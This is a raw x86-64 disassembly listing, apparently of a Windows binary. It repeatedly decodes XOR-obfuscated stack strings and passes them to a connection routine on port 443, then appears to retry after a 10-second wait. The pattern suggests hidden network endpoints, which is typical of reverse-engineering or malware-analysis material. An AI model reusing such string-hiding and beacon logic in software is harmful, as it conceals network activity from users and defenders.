movabs rax, 0xf9e8c7aac9f8355a
mov qword [rsp + 0x1708], rax
movabs rax, 0x38f1b44eecd93925
mov qword [rsp + 0x1710], rax
movabs rax, 0x4b389c5fc0cce006
mov qword [rsp + 0x1718], rax
movabs rax, 0x103e7820c7813424
mov qword [rsp + 0x1720], rax
movabs rax, 0x734046660965e5ca
mov qword [rsp + 0x1728], rax
lea r8, [rsp + 0x1730]
lea rdx, [rsp + 0x16f0]
lea rcx, [rsp + 0x3490]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x10f0], rax
mov qword [rsp + 0x1a10], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x10f8], rax
mov qword [rsp + 0x1a18], rax
movabs rbx, 0xbd00fc97f61dca07
mov qword [rsp + 0x1100], rbx
mov qword [rsp + 0x1a20], rbx
mov qword [rsp + 0x1108], r13
mov qword [rsp + 0x1a28], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0x1110], rax
mov qword [rsp + 0x1a30], rax
mov qword [rsp + 0x1118], rdi
mov qword [rsp + 0x1a38], rdi
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x1120], rax
mov qword [rsp + 0x1a40], rax
mov qword [rsp + 0x1128], rsi
mov qword [rsp + 0x1a48], rsi
lea r8, [rsp + 0x1a50]
lea rdx, [rsp + 0x1a10]
lea rcx, [rsp + 0x3480]
call fcn.7ff70b4d1eb0
movabs rax, 0x38b865bf13935926
mov qword [rsp + 0x6c0], rax
mov qword [rsp + 0x19b0], rax
movabs rax, 0x4daf2a302423f06b
mov qword [rsp + 0x6c8], rax
mov qword [rsp + 0x19b8], rax
movabs rax, 0xbd65fce7f664ca53
mov qword [rsp + 0x6d0], rax
mov qword [rsp + 0x19c0], rax
movabs rax, 0xf9e8c7aac9f8355a
mov qword [rsp + 0x6d8], rax
mov qword [rsp + 0x19c8], rax
movabs rax, 0x38f1b44eecd93925
mov qword [rsp + 0x6e0], rax
mov qword [rsp + 0x19d0], rax
movabs rax, 0x4b389c5fc0cce006
mov qword [rsp + 0x6e8], rax
mov qword [rsp + 0x19d8], rax
movabs rax, 0x103e7820c7813424
mov qword [rsp + 0x6f0], rax
mov qword [rsp + 0x19e0], rax
movabs rax, 0x734046660965e5ca
mov qword [rsp + 0x6f8], rax
mov qword [rsp + 0x19e8], rax
lea r8, [rsp + 0x19f0]
lea rdx, [rsp + 0x19b0]
lea rcx, [rsp + 0x3470]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x10f0]
pxor xmm0, xmmword [rsp + 0x6c0]
movdqa xmmword [rsp + 0x6c0], xmm0
movdqa xmm1, xmmword [rsp + 0x6d0]
pxor xmm1, xmmword [rsp + 0x1100]
movdqa xmmword [rsp + 0x6d0], xmm1
movdqa xmm0, xmmword [rsp + 0x6e0]
pxor xmm0, xmmword [rsp + 0x1110]
movdqa xmmword [rsp + 0x6e0], xmm0
movdqa xmm1, xmmword [rsp + 0x6f0]
pxor xmm1, xmmword [rsp + 0x1120]
movdqa xmmword [rsp + 0x6f0], xmm1
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x2de0]
call fcn.7ff70b520bc0
mov rsi, rax
movabs rax, 0x38a565a1139d594a
mov qword [rsp + 0x1d80], rax
movabs rax, 0x4de02a31243df021
mov qword [rsp + 0x1d88], rax
movabs rax, 0xbd2ffcf4f674ca6b
mov qword [rsp + 0x1d90], rax
movabs rax, 0xf9fdc7b4c9fc3507
mov qword [rsp + 0x1d98], rax
movabs rax, 0x38bfb44eecd9393b
mov qword [rsp + 0x1da0], rax
movabs rax, 0x4b609c03c097e045
mov qword [rsp + 0x1da8], rax
movabs rax, 0x10357864c7df346d
mov qword [rsp + 0x1db0], rax
movabs rax, 0x732446000903e589
mov qword [rsp + 0x1db8], rax
movabs rax, 0x60d5b71de8827bff
mov qword [rsp + 0x1dc0], rax
movabs rax, 0xb580b5d166934dc5
mov qword [rsp + 0x1dc8], rax
movabs rax, 0x48cae6eb9b58f4fc
mov qword [rsp + 0x1dd0], rax
movabs rax, 0xdfc422b35c7e76b8
mov qword [rsp + 0x1dd8], rax
movabs rax, 0xa21381565c091883
mov qword [rsp + 0x1de0], rax
movabs rax, 0x810c37bc4764b92a
mov qword [rsp + 0x1de8], rax
movabs rax, 0x40dfcc8b5fa6d893
mov qword [rsp + 0x1df0], rax
movabs rcx, 0xa4d06fbedc98d3cc
mov qword [rsp + 0x1df8], rcx
lea r8, [rsp + 0x1e00]
lea rdx, [rsp + 0x1d80]
lea rcx, [rsp + 0x33c0]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x13f0], rax
mov qword [rsp + 0x1e00], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x13f8], rax
mov qword [rsp + 0x1e08], rax
mov qword [rsp + 0x1400], rbx
mov qword [rsp + 0x1e10], rbx
mov qword [rsp + 0x1408], r13
mov qword [rsp + 0x1e18], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0x1410], rax
mov qword [rsp + 0x1e20], rax
mov qword [rsp + 0x1418], rdi
mov qword [rsp + 0x1e28], rdi
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x1420], rax
mov qword [rsp + 0x1e30], rax
movabs rax, 0x734046660965e5a4
mov qword [rsp + 0x1428], rax
mov qword [rsp + 0x1e38], rax
movabs rax, 0x60e6b729e8af7bcd
mov qword [rsp + 0x1430], rax
mov qword [rsp + 0x1e40], rax
movabs rax, 0xb5b3b5fc66a44df6
mov qword [rsp + 0x1438], rax
mov qword [rsp + 0x1e48], rax
movabs rax, 0x48e7e68f9b6df4cf
mov qword [rsp + 0x1440], rax
mov qword [rsp + 0x1e50], rax
movabs rax, 0xdffd22d25c187688
mov qword [rsp + 0x1448], rax
mov qword [rsp + 0x1e58], rax
movabs rax, 0xa22181655c6c18b1
mov qword [rsp + 0x1450], rax
mov qword [rsp + 0x1e60], rax
movabs rax, 0x813a37884701b91a
mov qword [rsp + 0x1458], rax
mov qword [rsp + 0x1e68], rax
movabs rdi, 0x40dfcc8b5fa6d893
mov qword [rsp + 0x1460], rdi
mov qword [rsp + 0x1e70], rdi
movabs rax, 0xa4d06fbedc98d3cc
mov qword [rsp + 0x1468], rax
mov qword [rsp + 0x1e78], rax
lea r8, [rsp + 0x1e80]
lea rdx, [rsp + 0x1e00]
lea rcx, [rsp + 0x33b0]
call fcn.7ff70b4d1eb0
movabs rax, 0x38a565a1139d594a
mov qword [rsp + 0xaf0], rax
mov qword [rsp + 0x1e80], rax
movabs rax, 0x4de02a31243df021
mov qword [rsp + 0xaf8], rax
mov qword [rsp + 0x1e88], rax
movabs rax, 0xbd2ffcf4f674ca6b
mov qword [rsp + 0xb00], rax
mov qword [rsp + 0x1e90], rax
movabs rax, 0xf9fdc7b4c9fc3507
mov qword [rsp + 0xb08], rax
mov qword [rsp + 0x1e98], rax
movabs rax, 0x38bfb44eecd9393b
mov qword [rsp + 0xb10], rax
mov qword [rsp + 0x1ea0], rax
movabs rax, 0x4b609c03c097e045
mov qword [rsp + 0xb18], rax
mov qword [rsp + 0x1ea8], rax
movabs rax, 0x10357864c7df346d
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0x1eb0], rax
movabs rax, 0x732446000903e589
mov qword [rsp + 0xb28], rax
mov qword [rsp + 0x1eb8], rax
movabs rax, 0x60d5b71de8827bff
mov qword [rsp + 0xb30], rax
mov qword [rsp + 0x1ec0], rax
movabs rax, 0xb580b5d166934dc5
mov qword [rsp + 0xb38], rax
mov qword [rsp + 0x1ec8], rax
movabs rax, 0x48cae6eb9b58f4fc
mov qword [rsp + 0xb40], rax
mov qword [rsp + 0x1ed0], rax
movabs rax, 0xdfc422b35c7e76b8
mov qword [rsp + 0xb48], rax
mov qword [rsp + 0x1ed8], rax
movabs rax, 0xa21381565c091883
mov qword [rsp + 0xb50], rax
mov qword [rsp + 0x1ee0], rax
movabs rax, 0x810c37bc4764b92a
mov qword [rsp + 0xb58], rax
mov qword [rsp + 0x1ee8], rax
mov qword [rsp + 0xb60], rdi
mov qword [rsp + 0x1ef0], rdi
movabs rax, 0xa4d06fbedc98d3cc
mov qword [rsp + 0xb68], rax
mov qword [rsp + 0x1ef8], rax
lea r8, [rsp + 0x1f00]
lea rdx, [rsp + 0x1e80]
lea rcx, [rsp + 0x33a0]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x13f0]
pxor xmm0, xmmword [rsp + 0xaf0]
movdqa xmmword [rsp + 0xaf0], xmm0
movdqa xmm1, xmmword [rsp + 0xb00]
pxor xmm1, xmmword [rsp + 0x1400]
movdqa xmmword [rsp + 0xb00], xmm1
movdqa xmm0, xmmword [rsp + 0xb10]
pxor xmm0, xmmword [rsp + 0x1410]
movdqa xmmword [rsp + 0xb10], xmm0
movdqa xmm1, xmmword [rsp + 0xb20]
pxor xmm1, xmmword [rsp + 0x1420]
movdqa xmmword [rsp + 0xb20], xmm1
movdqa xmm0, xmmword [rsp + 0xb30]
pxor xmm0, xmmword [rsp + 0x1430]
movdqa xmmword [rsp + 0xb30], xmm0
movdqa xmm1, xmmword [rsp + 0xb40]
pxor xmm1, xmmword [rsp + 0x1440]
movdqa xmmword [rsp + 0xb40], xmm1
movdqa xmm0, xmmword [rsp + 0xb50]
pxor xmm0, xmmword [rsp + 0x1450]
movdqa xmmword [rsp + 0xb50], xmm0
movdqa xmm1, xmmword [rsp + 0xb60]
pxor xmm1, xmmword [rsp + 0x1460]
movdqa xmmword [rsp + 0xb60], xmm1
lea rdx, [rsp + 0xaf0]
lea rcx, [rsp + 0x2e00]
call fcn.7ff70b520bc0
mov rdi, rax
movabs rax, 0x38a565a313975916
mov qword [rsp + 0xfe0], rax
movabs rax, 0x4de52a6a2439f07e
mov qword [rsp + 0xfe8], rax
movabs rax, 0xbd00fc97f61dca60
mov qword [rsp + 0xff0], rax
mov qword [rsp + 0xff8], r13
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0xfe0]
lea rcx, [rsp + 0x3390]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0xf80], rax
mov qword [rsp + 0xfc0], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0xf88], rax
mov qword [rsp + 0xfc8], rax
mov qword [rsp + 0xf90], rbx
mov qword [rsp + 0xfd0], rbx
mov qword [rsp + 0xf98], r13
mov qword [rsp + 0xfd8], r13
lea r8, [rsp + 0xfe0]
lea rdx, [rsp + 0xfc0]
lea rcx, [rsp + 0x3380]
call fcn.7ff70b4d1eb0
movabs rax, 0x38a565a313975916
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0xfa0], rax
movabs rax, 0x4de52a6a2439f07e
mov qword [rsp + 0x5a8], rax
mov qword [rsp + 0xfa8], rax
movabs rax, 0xbd00fc97f61dca60
mov qword [rsp + 0x5b0], rax
mov qword [rsp + 0xfb0], rax
mov qword [rsp + 0x5b8], r13
mov qword [rsp + 0xfb8], r13
lea r8, [rsp + 0xfc0]
lea rdx, [rsp + 0xfa0]
lea rcx, [rsp + 0x3370]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0xf80]
pxor xmm0, xmmword [rsp + 0x5a0]
movdqa xmmword [rsp + 0x5a0], xmm0
movdqa xmm1, xmmword [rsp + 0x5b0]
pxor xmm1, xmmword [rsp + 0xf90]
movdqa xmmword [rsp + 0x5b0], xmm1
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x2e20]
call fcn.7ff70b520bc0
mov rbx, rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x2e40]
call fcn.7ff70b520c00
nop
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x1bb
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2a80]
call fcn.7ff70b5090d0
nop
lea rcx, [rsp + 0x2270]
call fcn.7ff70b4fb180
nop
lea r9, [0x7ff70b51ec90]
mov edx, 0x18
lea r8d, [rdx - 0x17]
lea rcx, [rsp + 0x1650]
call fcn.7ff70b54c0b0
nop
lea r9, [0x7ff70b51ec90]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x28e0]
call fcn.7ff70b54c0b0
lea rcx, [rsp + 0x2a80]
call fcn.7ff70b535db0
test al, al
jne 0x7ff70b51aec1
movabs r15, 0x54a5049733a1783e
mov qword [rsp + 0x1d20], r15
movabs r12, 0x22e10a2b506d946b
mov qword [rsp + 0x1d28], r12
movabs rdi, 0xd873dce3957cbe69
mov qword [rsp + 0x1d30], rdi
movabs rsi, 0x91fbe7f6bbfc4312
mov qword [rsp + 0x1d38], rsi
movabs r14, 0x4ae5db54ccdb5a2c
mov qword [rsp + 0x1d40], r14
movabs rax, 0x2e38ee55b4cb8952
mov qword [rsp + 0x1d48], rax
movabs rax, 0x7334163da888147f
mov qword [rsp + 0x1d50], rax
movabs rax, 0x1c603f1260138cd0
mov qword [rsp + 0x1d58], rax
movabs rax, 0x78797509adb5bbf
mov qword [rsp + 0x1d60], rax
movabs rax, 0xd0c7d49046ca2497
mov qword [rsp + 0x1d68], rax
movabs rax, 0x48e7e68f9b6ddabd
mov qword [rsp + 0x1d70], rax
movabs rbx, 0xdffd22d25c187688
mov qword [rsp + 0x1d78], rbx
lea r8, [rsp + 0x1d80]
lea rdx, [rsp + 0x1d20]
lea rcx, [rsp + 0x3360]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x1c60], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x1c68], rax
movabs rax, 0xbd00fc97f61dca07
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x1c70], rax
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0x1c78], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x1c80], rax
movabs rax, 0x4b569c30c0a5e072
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x1c88], rax
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x1c90], rax
movabs rax, 0x734046660965e5a4
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x1c98], rax
movabs rax, 0x60e6b729e8af7bcd
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x1ca0], rax
movabs rax, 0xb5b3b5fc66a44df6
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x1ca8], rax
movabs rax, 0x48e7e68f9b6df4cf
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x1cb0], rax
mov qword [rsp + 0x108], rbx
mov qword [rsp + 0x1cb8], rbx
lea r8, [rsp + 0x1cc0]
lea rdx, [rsp + 0x1c60]
lea rcx, [rsp + 0x3350]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0xa10], r15
mov qword [rsp + 0x1cc0], r15
mov qword [rsp + 0xa18], r12
mov qword [rsp + 0x1cc8], r12
mov qword [rsp + 0xa20], rdi
mov qword [rsp + 0x1cd0], rdi
mov qword [rsp + 0xa28], rsi
mov qword [rsp + 0x1cd8], rsi
mov qword [rsp + 0xa30], r14
mov qword [rsp + 0x1ce0], r14
movabs rax, 0x2e38ee55b4cb8952
mov qword [rsp + 0xa38], rax
mov qword [rsp + 0x1ce8], rax
movabs rax, 0x7334163da888147f
mov qword [rsp + 0xa40], rax
mov qword [rsp + 0x1cf0], rax
movabs rax, 0x1c603f1260138cd0
mov qword [rsp + 0xa48], rax
mov qword [rsp + 0x1cf8], rax
movabs rax, 0x78797509adb5bbf
mov qword [rsp + 0xa50], rax
mov qword [rsp + 0x1d00], rax
movabs rax, 0xd0c7d49046ca2497
mov qword [rsp + 0xa58], rax
mov qword [rsp + 0x1d08], rax
movabs rax, 0x48e7e68f9b6ddabd
mov qword [rsp + 0xa60], rax
mov qword [rsp + 0x1d10], rax
mov qword [rsp + 0xa68], rbx
mov qword [rsp + 0x1d18], rbx
lea r8, [rsp + 0x1d20]
lea rdx, [rsp + 0x1cc0]
lea rcx, [rsp + 0x3340]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0xb0]
pxor xmm0, xmmword [rsp + 0xa10]
movdqa xmmword [rsp + 0xa10], xmm0
movdqa xmm1, xmmword [rsp + 0xa20]
pxor xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xa20], xmm1
movdqa xmm0, xmmword [rsp + 0xa30]
pxor xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xa30], xmm0
movdqa xmm1, xmmword [rsp + 0xa40]
pxor xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xa40], xmm1
movdqa xmm0, xmmword [rsp + 0xa50]
pxor xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0xa50], xmm0
movdqa xmm1, xmmword [rsp + 0xa60]
pxor xmm1, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0xa60], xmm1
lea rdx, [rsp + 0xa10]
lea rcx, [rsp + 0x2e60]
call fcn.7ff70b4fb220
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
mov edx, 0x2710
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b5071c0
nop
lea rcx, [rsp + 0x2a80]
call fcn.7ff70b51ecb0
jmp 0x7ff70b51e022
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b506fb0
movabs rbx, 0x38cc65d113fc5954
mov qword [rsp + 0xc90], rbx
movabs rdi, 0x4d822a44244df00e
mov qword [rsp + 0xc98], rdi
lea r8, [rsp + 0xca0]
lea rdx, [rsp + 0xc90]
lea rcx, [rsp + 0x3330]
call fcn.7ff70b4d1eb0
movabs r15, 0x38cc65d113fc5965
mov qword [rsp + 0x11d0], r15
mov qword [rsp + 0xc80], r15
mov qword [rsp + 0x11d8], rdi
mov qword [rsp + 0xc88], rdi
lea r8, [rsp + 0xc90]
lea rdx, [rsp + 0xc80]
lea rcx, [rsp + 0x3320]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x3f0], rbx
mov qword [rsp + 0xc70], rbx
mov qword [rsp + 0x3f8], rdi
mov qword [rsp + 0xc78], rdi
lea r8, [rsp + 0xc80]
lea rdx, [rsp + 0xc70]
lea rcx, [rsp + 0x3310]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x11d0]
pxor xmm0, xmmword [rsp + 0x3f0]
movdqa xmmword [rsp + 0x3f0], xmm0
lea rdx, [rsp + 0x3f0]
lea rcx, [rsp + 0x2e80]
call fcn.7ff70b4fb220
mov r8, rax
lea rdx, [rsp + 0x2a80]
lea rcx, [rsp + 0x48]
call fcn.7ff70b51e2d0
test al, al
jne 0x7ff70b51aeaf
lea rdx, [0x7ff70b593b48]
lea rcx, [rsp + 0xe38]
call fcn.7ff70b4fb220
nop
lea rdx, [0x7ff70b593b48]
lea rcx, [rsp + 0x4a0]
call fcn.7ff70b4fb220
nop
lea rax, [rsp + 0x3810]
mov qword [rsp + 0x4690], rax
xor edx, edx
lea rcx, [rsp + 0x3810]
call fcn.7ff70b51fc50
mov rsi, rax
lea rcx, [rsp + 0xae]
call fcn.7ff70b4d1ec0
mov rdi, rax
lea rcx, [rsp + 0x2b00]
call fcn.7ff70b5204f0
mov rbx, rax
lea rcx, [rsp + 0x2b00]
call fcn.7ff70b4ec710
add rbx, rax
lea rcx, [rsp + 0x2b00]
call fcn.7ff70b4ec710
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2ea0]
call fcn.7ff70b526e10
nop
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0x1340]
call fcn.7ff70b5268f0
nop
lea rcx, [rsp + 0x2ea0]
call fcn.7ff70b4fb1c0
movabs rbx, 0x38cc11bd668f3c17
mov qword [rsp + 0xc40], rbx
movabs rsi, 0x4d822a44244df00e
mov qword [rsp + 0xc48], rsi
lea r8, [rsp + 0xc50]
lea rdx, [rsp + 0xc40]
lea rcx, [rsp + 0x3300]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x11e0], r15
mov qword [rsp + 0xc30], r15
mov qword [rsp + 0x11e8], rsi
mov qword [rsp + 0xc38], rsi
lea r8, [rsp + 0xc40]
lea rdx, [rsp + 0xc30]
lea rcx, [rsp + 0x32f0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x400], rbx
mov qword [rsp + 0xc20], rbx
mov qword [rsp + 0x408], rsi
mov qword [rsp + 0xc28], rsi
lea r8, [rsp + 0xc30]
lea rdx, [rsp + 0xc20]
lea rcx, [rsp + 0x32e0]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x11e0]
pxor xmm0, xmmword [rsp + 0x400]
movdqa xmmword [rsp + 0x400], xmm0
lea rdx, [rsp + 0x400]
lea rcx, [rsp + 0x1340]
call fcn.7ff70b526ee0
lea rdx, [rsp + 0x2ec0]
mov rcx, rax
call fcn.7ff70b4fc390
mov rdx, rax
lea rcx, [rsp + 0x4a0]
call fcn.7ff70b520dc0
lea rcx, [rsp + 0x2ec0]
call fcn.7ff70b4fb1c0
xor r8d, r8d
mov dl, 0x2e
lea rcx, [rsp + 0x4a0]
call fcn.7ff70b520d60
lea rbx, [rax + 1]
mov r8, rbx
mov dl, 0x2e
lea rcx, [rsp + 0x4a0]
call fcn.7ff70b520d60
sub rax, rbx
mov r9, rax
mov r8, rbx
lea rdx, [rsp + 0x2450]
lea rcx, [rsp + 0x4a0]
call fcn.7ff70b520d00
nop
lea rax, [rsp + 0x3850]
mov qword [rsp + 0x4690], rax
xor edx, edx
lea rcx, [rsp + 0x3850]
call fcn.7ff70b51fc50
mov rdi, rax
lea rcx, [rsp + 0x2450]
call fcn.7ff70b4fb1b0
mov rbx, rax
lea rcx, [rsp + 0x2450]
call fcn.7ff70b4dab30
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2ee0]
call fcn.7ff70b547e30
nop
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x1250]
call fcn.7ff70b5268f0
nop
lea rcx, [rsp + 0x2ee0]
call fcn.7ff70b4fb1c0
movabs rbx, 0x5fa200bd7f9d3106
mov qword [rsp + 0xc10], rbx
movabs rdi, 0x4d822a44244df06b
mov qword [rsp + 0xc18], rdi
lea r8, [rsp + 0xc20]
lea rdx, [rsp + 0xc10]
lea rcx, [rsp + 0x32d0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x470], r15
mov qword [rsp + 0xe18], r15
mov qword [rsp + 0x478], rsi
mov qword [rsp + 0xe20], rsi
lea r8, [rsp + 0xe28]
lea rdx, [rsp + 0xe18]
lea rcx, [rsp + 0x32c0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x410], rbx
mov qword [rsp + 0xe08], rbx
mov qword [rsp + 0x418], rdi
mov qword [rsp + 0xe10], rdi
lea r8, [rsp + 0xe18]
lea rdx, [rsp + 0xe08]
lea rcx, [rsp + 0x32b0]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x470]
pxor xmm0, xmmword [rsp + 0x410]
movdqa xmmword [rsp + 0x410], xmm0
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x1250]
call fcn.7ff70b526ee0
mov rcx, rax
call fcn.7ff70b527020
mov edx, eax
lea rcx, [rsp + 0x2f00]
call fcn.7ff70b535b50
mov rdx, rax
lea rcx, [rsp + 0xe38]
call fcn.7ff70b520dc0
lea rcx, [rsp + 0x2f00]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x1250]
call fcn.7ff70b4fb180
nop
lea rcx, [rsp + 0x2450]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x1340]
call fcn.7ff70b4fb180
nop
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b506fb0
lea rax, [rsp + 0x3890]
mov qword [rsp + 0x4690], rax
movabs rbx, 0x5b9301b465903616
mov qword [rsp + 0xf60], rbx
movabs rdi, 0x28e5442148219166
mov qword [rsp + 0xf68], rdi
movabs r14, 0xbd00fc97f61dca07
mov qword [rsp + 0xf70], r14
mov qword [rsp + 0xf78], r13
lea r8, [rsp + 0xf80]
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0x32a0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0xf00], r15
mov qword [rsp + 0xf40], r15
mov qword [rsp + 0xf08], rsi
mov qword [rsp + 0xf48], rsi
mov qword [rsp + 0xf10], r14
mov qword [rsp + 0xf50], r14
mov qword [rsp + 0xf18], r13
mov qword [rsp + 0xf58], r13
lea r8, [rsp + 0xf60]
lea rdx, [rsp + 0xf40]
lea rcx, [rsp + 0x3290]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x4c0], rbx
mov qword [rsp + 0xf20], rbx
mov qword [rsp + 0x4c8], rdi
mov qword [rsp + 0xf28], rdi
mov qword [rsp + 0x4d0], r14
mov qword [rsp + 0xf30], r14
mov qword [rsp + 0x4d8], r13
mov qword [rsp + 0xf38], r13
lea r8, [rsp + 0xf40]
lea rdx, [rsp + 0xf20]
lea rcx, [rsp + 0x3280]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0xf00]
pxor xmm0, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x4c0], xmm0
movdqa xmm1, xmmword [rsp + 0x4d0]
pxor xmm1, xmmword [rsp + 0xf10]
movdqa xmmword [rsp + 0x4d0], xmm1
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0xcc0], rax
lea rdx, [rsp + 0xcc0]
lea rcx, [rsp + 0x28b0]
call fcn.7ff70b526d00
nop
mov byte [rsp + 0x49], 1
lea rdx, [rsp + 0x49]
lea rcx, [rsp + 0x28c8]
call fcn.7ff70b526db0
nop
lea r8, [rsp + 0x28e0]
lea rdx, [rsp + 0x28b0]
lea rcx, [rsp + 0x3270]
call fcn.7ff70b4d1eb0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x470], xmm0
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x2a10]
call fcn.7ff70b51f1a0
nop
movabs rbx, 0x38cc17b4648f3704
mov qword [rsp + 0xde8], rbx
mov qword [rsp + 0xdf0], rsi
lea r8, [rsp + 0xdf8]
lea rdx, [rsp + 0xde8]
lea rcx, [rsp + 0x3260]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x460], r15
mov qword [rsp + 0xdc8], r15
mov qword [rsp + 0x468], rsi
mov qword [rsp + 0xdd0], rsi
lea r8, [rsp + 0xdd8]
lea rdx, [rsp + 0xdc8]
lea rcx, [rsp + 0x3250]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x420], rbx
mov qword [rsp + 0xd88], rbx
mov qword [rsp + 0x428], rsi
mov qword [rsp + 0xd90], rsi
lea r8, [rsp + 0xd98]
lea rdx, [rsp + 0xd88]
lea rcx, [rsp + 0x3240]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x460]
pxor xmm0, xmmword [rsp + 0x420]
movdqa xmmword [rsp + 0x420], xmm0
lea rax, [rsp + 0x420]
mov qword [rsp + 0xcb8], rax
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x2940]
call fcn.7ff70b526d00
nop
lea rdx, [rsp + 0xe38]
lea rcx, [rsp + 0x2958]
call fcn.7ff70b527140
nop
lea r8, [rsp + 0x2970]
lea rdx, [rsp + 0x2940]
lea rcx, [rsp + 0x3230]
call fcn.7ff70b4d1eb0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x460], xmm0
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x2a28]
call fcn.7ff70b51f1a0
nop
movabs rbx, 0x38cc65bf76973611
mov qword [rsp + 0xdb8], rbx
mov qword [rsp + 0xdc0], rsi
lea r8, [rsp + 0xdc8]
lea rdx, [rsp + 0xdb8]
lea rcx, [rsp + 0x31c0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x260], r15
mov qword [rsp + 0xe28], r15
mov qword [rsp + 0x268], rsi
mov qword [rsp + 0xe30], rsi
lea r8, [rsp + 0xe38]
lea rdx, [rsp + 0xe28]
lea rcx, [rsp + 0x31b0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x430], rbx
mov qword [rsp + 0xdd8], rbx
mov qword [rsp + 0x438], rsi
mov qword [rsp + 0xde0], rsi
lea r8, [rsp + 0xde8]
lea rdx, [rsp + 0xdd8]
lea rcx, [rsp + 0x31a0]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x260]
pxor xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x430], xmm0
lea rax, [rsp + 0x430]
mov qword [rsp + 0xcb0], rax
lea rdx, [rsp + 0xcb0]
lea rcx, [rsp + 0x2910]
call fcn.7ff70b526d00
nop
lea rdx, [rsp + 0x4a0]
lea rcx, [rsp + 0x2928]
call fcn.7ff70b527140
nop
lea r8, [rsp + 0x2940]
lea rdx, [rsp + 0x2910]
lea rcx, [rsp + 0x3190]
call fcn.7ff70b4d1eb0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x260], xmm0
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x2a40]
call fcn.7ff70b51f1a0
nop
movzx edx, byte [rsp + 0x4690]
lea rcx, [rsp + 0x3890]
